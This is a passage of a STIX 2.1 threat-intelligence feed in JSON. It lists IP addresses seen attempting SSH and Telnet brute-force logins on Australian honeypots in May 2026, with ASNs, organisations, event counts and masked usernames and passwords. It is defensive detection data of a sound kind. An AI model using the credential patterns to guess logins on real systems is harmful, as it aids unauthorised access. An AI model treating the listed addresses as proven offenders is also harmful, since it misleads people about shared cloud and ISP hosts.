      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:15:12.000Z",
      "valid_until": "2026-06-18T01:15:08.000Z"
    },
    {
      "created": "2026-05-17T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--2d364636-9b78-4a90-b252-b383c1b450d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.73.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:15:12.000Z",
      "valid_until": "2026-06-18T01:15:08.000Z"
    },
    {
      "created": "2026-05-17T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--f3ae9cd5-b19c-4215-8a40-a37b6976352c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.242.44.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:15:12.000Z",
      "valid_until": "2026-06-18T01:15:08.000Z"
    },
    {
      "created": "2026-05-17T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--738a4560-0af6-4873-96bd-8cdab85734db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.176.51.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:15:12.000Z",
      "valid_until": "2026-06-18T01:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--5835a754-b579-4f2a-a905-f8004081c61f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.227.213.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--8b546dbc-d557-42a4-90e0-417e2511a7a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.49.68.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--bd1d668e-963a-4a0f-b5f2-75dbd1aa4e57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.92.171.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***. Passwords observed (masked): d*****s.",
      "id": "indicator--6652dfe8-dec8-4110-aa82-b23c94a27386",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.5.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c803bcb5-9623-47d1-84e9-1606d7ab4c11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.203.245.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--e8c57e2f-7bf6-4226-bed9-75ed6b0e8950",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.79.87.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263656. Organisation(s): BRSULNET TELECOM LTDA.",
      "id": "indicator--3c8dc028-3741-4846-8f16-a614dd56180a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.0.11.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 267809. Organisation(s): 360NET C.A..",
      "id": "indicator--e5e2f9e7-db5e-4caf-9aa7-0cd8eaa88285",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.173.197.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 60119. Organisation(s): Ediniy Operator Svyazi LLC.",
      "id": "indicator--2d7a83ee-c4f0-44f4-a2ae-4e36e53b1ec3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.129.182.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): a***n. Passwords observed (masked): A******6.",
      "id": "indicator--f365c633-d709-4de8-9195-659e7be1cb7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.230.188.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 42682. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--4c3cffc6-676c-4b4e-b87c-fb9b948ab363",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.79.34.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T02:15:12.000Z",
      "valid_until": "2026-06-18T02:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 140469. Organisation(s): PT Wahyu Adidaya Network. Usernames observed (masked): r**t, 3**********4, a***n, i****n, j***n. Passwords observed (masked): 1****0, 2******9, 3***********4, 3**********4, A*******3.",
      "id": "indicator--db167f27-df35-4ea2-8b95-52cf13e3d3d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.153.190.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38019. Organisation(s): tianjin Mobile Communication Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): P********3.",
      "id": "indicator--4dcfe1b2-a8fa-4ab1-bb65-21046c931e47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.33.71.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--dd03a7ef-0ce2-449e-a7d5-9320d5bd17e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.104.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, s******m. Passwords observed (masked): 2******9, s******m.",
      "id": "indicator--7c01d338-cfd4-4fd0-8dc4-1d1a27b3de6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.109.13.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): o****e, r**t. Passwords observed (masked): A*********@, o********5.",
      "id": "indicator--8eda231b-1d14-4d5f-aa71-996ab4f9eb72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.83.16.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 140308. Organisation(s): CHINATELECOM Guangdong province Zhuhai 5G network.",
      "id": "indicator--f4ea7e1d-8d8e-4e96-a1c4-1fdcf546c4bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.4.29.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28512. Organisation(s): Cablemas Telecomunicaciones SA de CV.",
      "id": "indicator--b287ad78-c50c-4b81-8cbb-19249967c18d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.252.205.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--5224ac48-03b7-4783-b56e-d9a68c389307",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.92.127.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): d****e, r**t. Passwords observed (masked): a*******3, d*********5.",
      "id": "indicator--eed6b9c6-ca6f-4a5b-948a-5e2c38c27e9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.133.60.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): S*******6, w**************m.",
      "id": "indicator--f0f95cb2-c230-4a64-8af3-aec4192806e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.141.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 49218. Organisation(s): Nizhnetagilskie Kompyuternye Seti LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): *, 1****1, 1*******6, 1*****#, 1********m.",
      "id": "indicator--2ac7da47-af7f-4399-a9ab-a5627bcf03e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.165.56.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc. Usernames observed (masked): r**t, 3**********4, a***n, a****y, d**o. Passwords observed (masked): 0**********!, 1****6, 1********0, 1*********3, 2******9.",
      "id": "indicator--38b95e13-b115-4b2f-83ce-7ab27b533bbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.79.213.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 48524. Organisation(s): INTERRA telecommunications group, Ltd..",
      "id": "indicator--57995c2c-f73b-492d-b42c-68f357e8aa44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.190.2.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T03:15:11.000Z",
      "valid_until": "2026-06-18T03:15:08.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 264. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 38719. Organisation(s): Dreamscape Networks Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******u, 2******9, R********!.",
      "id": "indicator--5647b379-d108-4336-9a86-6b04258bb20d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.100.200.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 45. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--814a1d2d-5c9f-41bd-887c-609c90da87e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.199.72.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--457f8756-db98-498a-8719-62ddd892cb2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.56.250.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 4804. Organisation(s): Microplex PTY LTD.",
      "id": "indicator--03339710-4a47-43a8-9492-6b1687ebf35c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.107.12.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 202940. Organisation(s): ITC NG ltd.",
      "id": "indicator--f9435175-dd65-47e9-b25f-3c07f0349937",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.236.181.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9f857ba5-3e06-4760-bce1-057b1d8fad84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.144.19.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******u, 1*******?, 2******9.",
      "id": "indicator--78fd8f0b-7a35-4f0d-befc-a2f3aafefbde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.141.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 41244. Organisation(s): Zahidna Multyservisna Merezha, LLC.",
      "id": "indicator--9c8196a8-142d-42a5-aadb-7ccb2d2d31c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.121.7.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
